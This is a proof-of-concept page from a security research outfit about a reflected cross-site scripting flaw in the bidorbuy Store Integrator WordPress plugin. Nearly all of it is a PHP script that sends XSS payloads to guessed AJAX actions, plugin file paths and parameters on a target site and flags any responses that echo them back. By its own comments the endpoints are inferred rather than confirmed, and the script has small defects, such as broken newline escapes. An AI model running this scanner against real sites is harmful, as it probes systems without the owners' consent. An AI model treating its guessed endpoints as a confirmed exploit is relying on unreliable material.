CVE-2025-68883: bidorbuy Store Integrator <= 2.12.0 – Reflected Cross-Site Scripting (bidorbuystoreintegrator)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68883 - bidorbuy Store Integrator <= 2.12.0 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68883.
 * This script demonstrates a reflected XSS attack against the bidorbuy Store Integrator plugin.
 * The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
 * Two likely attack vectors are tested: an AJAX endpoint and a direct plugin file.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS

// Common XSS payloads to test echoing of unsanitized input.
$payloads = [
    '<script>alert(document.domain)</script>',
    '"><script>alert(1)</script>',
    'javascript:alert(1)', // For href/src attributes
    'onmouseover=alert(1)',
];

// Likely AJAX action names based on plugin slug.
$possible_ajax_actions = [
    'bidorbuystoreintegrator_action',
    'bidorbuy_store_integrator_action',
    'bobs_action',
];

// Likely direct plugin file paths.
$possible_direct_files = [
    '/wp-content/plugins/bidorbuystoreintegrator/includes/ajax-handler.php',
    '/wp-content/plugins/bidorbuystoreintegrator/public/class-public.php',
    '/wp-content/plugins/bidorbuystoreintegrator/bidorbuystoreintegrator.php',
];

// Generic parameter names that often cause XSS.
$possible_params = ['q', 'search', 'term', 'id', 'slug', 'filter', 'orderby', 'order'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

echo "Testing for reflected XSS in bidorbuy Store Integrator...n";

// Test 1: AJAX endpoint via admin-ajax.php
foreach ($possible_ajax_actions as $action) {
    foreach ($possible_params as $param) {
        foreach ($payloads as $payload) {
            $url = $target_url . '/wp-admin/admin-ajax.php';
            $post_data = [
                'action' => $action,
                $param => $payload
            ];
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
            $response = curl_exec($ch);
            if (strpos($response, $payload) !== false && stripos($response, '<script>') !== false) {
                echo "[POSSIBLE HIT] AJAX Endpoint: $urln";
                echo "  Action: $action, Parameter: $paramn";
                echo "  Payload echoed unsanitized.n";
            }
        }
    }
}

// Test 2: Direct plugin file access (GET parameters)
foreach ($possible_direct_files as $file) {
    foreach ($possible_params as $param) {
        foreach ($payloads as $payload) {
            $url = $target_url . $file . '?' . $param . '=' . urlencode($payload);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, false);
            $response = curl_exec($ch);
            if (strpos($response, $payload) !== false && stripos($response, '<script>') !== false) {
                echo "[POSSIBLE HIT] Direct File: $urln";
                echo "  Parameter: $paramn";
                echo "  Payload echoed unsanitized.n";
            }
        }
    }
}

curl_close($ch);
echo "Scan complete. Manual verification of echoed payloads is required.n";
?>